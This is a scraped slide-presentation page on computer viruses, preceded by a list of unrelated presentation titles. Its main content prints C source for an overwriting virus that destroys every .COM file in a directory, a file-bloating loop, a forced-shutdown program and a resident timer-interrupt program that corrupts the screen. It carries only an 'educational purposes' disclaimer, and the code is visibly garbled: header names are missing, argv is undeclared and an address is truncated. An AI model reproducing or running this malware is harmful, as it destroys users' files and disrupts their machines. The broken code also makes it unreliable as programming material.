 Attaches itself to a program or file leaving infections as it travels.  Usually attached to an executable file (.exe)  Cannot be spread without a.

Slides:



Advertisements
Similar presentations
Java Control Statements
Advertisements

C Language.
Memory Protection: Kernel and User Address Spaces  Background  Address binding  How memory protection is achieved.
Constructor. 2 constructor The main use of constructors is to initialize objects. A constructor is a special member function, whose name is same as class.
R4 Dynamically loading processes. Overview R4 is closely related to R3, much of what you have written for R3 applies to R4 In R3, we executed procedures.
What is a pointer? First of all, it is a variable, just like other variables you studied So it has type, storage etc. Difference: it can only store the.
Scope and Lifespan of Identifiers. Every function has a scope What does that mean? That means that every identifier that is created in a function (that’s.
Lecturer: Fadwa Tlaelan
Unit 18 Data Security 1.
Scripts and Flow Control. Scripts So far we have been entering commands directly into the command line But there is a better way Script files (and functions)
True or false A variable of type char can hold the value 301. ( F )
CSC 501 Lecture 2: Processes. Von Neumann Model Both program and data reside in memory Execution stages in CPU: Fetch instruction Decode instruction Execute.
8.7 Memory management Program E Program D System memory DOS INT 21, function 48H: Allocate Memory Specification: allocates a number of memory paragraphs.
Arrays Data Structures - structured data are data organized to show the relationship among the individual elements. It usually requires a collecting mechanism.
Structure of DOS application programs. Contents: 1. PSP 2..COM and.EXE 3. TSR: Terminate and Stay Resident Programs.
Introduction to Sensors
Overview scope - determines when an identifier can be referenced in a program storage class - determines the period of time during which that identifier.
Using Visual C++ and Pelles C
The switch statement: an N-way selection statement.
Working with Arduino: Lesson #1: Getting Acquainted with the Kit EGN1007.
What is RobotC?!?! Team 2425 Hydra. Overview What is RobotC What is RobotC used for What you need to program a robot How a robot program works Framework.
2.2 A Simple Syntax-Directed Translator Syntax-Directed Translation 2.4 Parsing 2.5 A Translator for Simple Expressions 2.6 Lexical Analysis.
Computer Viruses Preetha Annamalai Niranjan Potnis.
PMS /134/182 HEX 0886B6 PMS /39/80 HEX 5E2750 PMS /168/180 HEX 00A8B4 PMS /190/40 HEX 66CC33 By Adrian Gardener Date 9 July 2012.
Introduction to Processes CS Intoduction to Operating Systems.
A First Book of C++: From Here To There, Third Edition2 Objectives You should be able to describe: Function and Parameter Declarations Returning a Single.
Program A computer program (also software, or just a program) is a sequence of instructions written in a sequence to perform a specified task with a computer.
TERMINATE-AND-STAY-RESIDENT TSR IS A SOFTWARE PROGRAM THAT REMAINS IN MEMORY UNTIL IT IS NEEDED, AND THEN PERFORMS SOME FUNCTION. AN GOOD EXAMPLE OF A.
Runtime Program Structure Command.com program supplied with MS- DOS and Windows (CMD.EXE for 2000 and XP)is called the command processor. It interprets.
For any query mail to or BITS Pilani Lecture # 1.
Open a editor Write/Type the program Save the program with “.c” extension Compile the program (alt + F9) Run/Execute the program (ctrl + F9) Check the.
The C# language fundamentals ( II ) Po Feng, Tsai.
Comments in Java. When you create a New Project in NetBeans, you'll notice that some text is greyed out, with lots of slashes and asterisks:
What does C store? >>A = [1 2 3] >>B = [1 1] >>[C,D]=meshgrid(A,B) c) a) d) b)
1 C++ Classes and Data Structures Jeffrey S. Childs Chapter 4 Pointers and Dynamic Arrays Jeffrey S. Childs Clarion University of PA © 2008, Prentice Hall.
Dynamic Memory Allocation. Domain A subset of the total domain name space. A domain represents a level of the hierarchy in the Domain Name Space, and.
1 Getting Started with C++. 2 Objective You will be able to create, compile, and run a very simple C++ program on Windows, using Visual Studio 2008.
Illustration of a Visual Basic Program Running an Ada Program 1 by Richard Conn 11 September 1999.
Malicious Logic and Defenses. Malicious Logic Trojan Horse – A Trojan horse is a program with an overt (documented or known) effect and covert (undocumented.
Unix Environment Input Output 2  List Content (ls) ◦ ls (list current directory) ◦ ls –all (include hidden files/folders)  Make directory (mkdir) ◦
This document gives one example of how one might be able to “fix” a meteorological file, if one finds that there may be problems with the file. There are.
Introduction to Loops For Loops. Motivation for Using Loops So far, everything we’ve done in MATLAB, you could probably do by hand: Mathematical operations.
1 Computer Systems II Introduction to Processes. 2 First Two Major Computer System Evolution Steps Led to the idea of multiprogramming (multiple concurrent.
CONTENTS What is Virus ? Types of computer viruses.
C++ Programming Lecture 3 C++ Basics – Part I The Hashemite University Computer Engineering Department (Adapted from the textbook slides)
© Janice Regan, CMPT 300, May CMPT 300 Introduction to Operating Systems Operating Systems Processes and Threads.
Chapter 6 P-Threads. Names The naming convention for a method/function/operation is: – pthread_thing_operation(..) – Where thing is the object used (such.
Chapter 7 Input/Output Interface and Interruption System Principles of Microcomputers 2016年1月12日 2016年1月12日 2016年1月12日 2016年1月12日 2016年1月12日 2016年1月12日.
THE C PROGRAMMING ENVIRONMENT. Four parts of C environment  Main menu  Editor status line and edit window  Compiler message window  “Hot Keys” quick.
1 Getting Started with C++ Part 1 Windows. 2 Objective You will be able to create, compile, and run a very simple C++ program on Windows, using Microsoft.
February 7, You have seen how If statement works from last week’s activities. You have learned that If statement is a conditional statement. Today,
7-Nov Fall 2001: copyright ©T. Pearce, D. Hutchinson, L. Marshall Oct lecture23-24-hll-interrupts 1 High Level Language vs. Assembly.
MT311 Java Application Development and Programming Languages Li Tak Sing( 李德成 )
Silberschatz and Galvin  C Programming Language Kingdom of Saudi Arabia Ministry of Higher Education Al-Majma’ah University College of Education.
Buffer Overflow Walk-Through
C Programming Types & Dynamic memory & bits & others
Introduction to Kernel
Val Manes Department of Math & Computer Science
5.13 Recursion Recursive functions Functions that call themselves
A Simple Syntax-Directed Translator
Protection of System Resources
Buffer Overflow Walk-Through
Quick Start Guide for Visual Studio 2010
System Structure B. Ramamurthy.
CS 143A Quiz 1 Solution.
Homework Applied for cs240? (If not, keep at it!) 8/10 Done with HW1?
Functions continued.
Scripts In Matlab.
IPC144 Introduction to Programming Using C Week 4 – Lesson 2
Compile and run c files.
Presentation transcript:

 Attaches itself to a program or file leaving infections as it travels.  Usually attached to an executable file (.exe)  Cannot be spread without a human action, (such as running an infected program) to keep it going.

Some basic steps of a source code virus- 1. Find a file to infect, be it an executable, source, or whatever. (If none found, go to step 3) 2. Place virus in file. 3. Decide if any activation routines are met and, if so, activate. 4. Return to host or terminate and return to DOS.

Infections destroy the programs and cannot be cured. FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!

Simple overwriting virus STEPS : 1. Finds all “.COM” files in the specified directory using FindFirst(). 2. Opens virus file in read only mode. 3. Opens host file (file searched in findfirst()) in read & write mode. Virus Code # 1 It will infect all.COM files in the current directory.

4. Read a block of data of 256 byte size. 5. Write the block into host file. 6. Repeat 4 and 5 until whole virus code is copied. 7. Close virus and host file. 8. Select the next file in the searched list and Go To Step 2. 9.Return when all searched files have been infected.

#include #include /* Pre-processor Directives*/ #include FILE *Virus,*Host; int x,y,done; char buff[256]; struct ffblk ffblk; /*Information about searched files*/ main() { done = findfirst("*.COM",&ffblk,0); /* Find a.COM file */ while (!done) /* Loop for all COM‘s in DIR*/ { printf("Infecting %s\n", ffblk.ff_name); /* Inform user */ Virus=fopen(argv[0],"rb"); /* Open infected file */ Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must be correct for */ while (x>256) /* OVERWRITE new Host */ { /* Read/Write 256 byte */ fread(buff,256,1,Virus); /* chunks until bytes */ fwrite(buff,256,1,Host); /* left < 256 */ x-=256; } fread(buff,x,1,Virus); /* Finish off copy */ fwrite(buff,x,1,Host); fcloseall(); /* Close both files and*/ done = findnext(&ffblk); /* go for another one. */ } /* Activation would go */ /* here */ return (0); /* Terminate */ }

A self growing file. Virus Code # 2 //START v.c #include void main() { while(1) { system("dir>>âša.exe"); } //END

void main (void) { system("shutdown -s"); } Save the above file as close.c. compile (ALT + F9). close the turbo c compiler open that directory in window of close.c (default directory c:\tc\bin) Open its exe file (close.exe). After some time your window operating system will shutdown. Shut Down Program

Virus Code # 3 TSR Program has a timer interrupt selects a random row and columns position at each run writes space at that position terminates, but, stays resident.

#include"dos.h" #include void interrupt (*prevtimer)(); void interrupt mytimer(); void writechar(char ch,int row,int col,int attr); char far* scr; int a,b; void main() { scr=(char far*) 0xb ; prevtimer=getvect(8); setvect(8,mytimer); keep(0,1000); } /* Pre-processor Directives*/

void interrupt mytimer() { a=random(25); b=random(80); writechar(' ',a,b,0); (*prevtimer)(); } void writechar(char ch,int row,int col,int attr) { *(scr+row*160+col*2)=ch; *(scr+row*160+col*2+1)=attr; }

THANK YOU